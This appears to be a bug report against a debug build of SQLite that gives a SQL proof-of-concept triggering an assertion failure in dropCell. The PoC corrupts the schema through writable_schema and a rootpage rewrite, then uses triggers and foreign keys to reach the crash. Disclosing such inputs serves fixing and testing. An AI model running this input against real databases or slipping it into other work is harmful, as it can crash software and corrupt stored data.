System Information: ``` compile-time options: CC=clang-12 ./configure --enable-debug sqlite3_sourceid: 2022-01-01 22:55:31 e199a851e316bd471bfc54204b8c250d3ae93b829261214158a2c74acad4093e output: sqlite3.c:72510: dropCell: Assertion `idx>=0 && idx<pPage->nCell' failed. ``` PoC: ``` PRAGMA page_size=1024; CREATE TABLE t1(a INTEGER PRIMARY KEY, b); INSERT INTO t1(b) VALUES(zeroblob(300)),(zeroblob(300)),(zeroblob(300)),(zeroblob(300)); CREATE TABLE t2(a); CREATE TRIGGER t1tr BEFORE UPDATE ON t1 BEGIN DELETE FROM t2; END; PRAGMA writable_schema=ON; UPDATE sqlite_schema SET rootpage=3 WHERE rowid=2; PRAGMA writable_schema=RESET; DROP table "t2"; PRAGMA foreign_keys = OFF; PRAGMA foreign_keys = on; CREATE TABLE t2(c REFERENCES t1(a) , d); INSERT INTO t2 VALUES(NULL, 4); UPDATE t1 SET a = 1; ```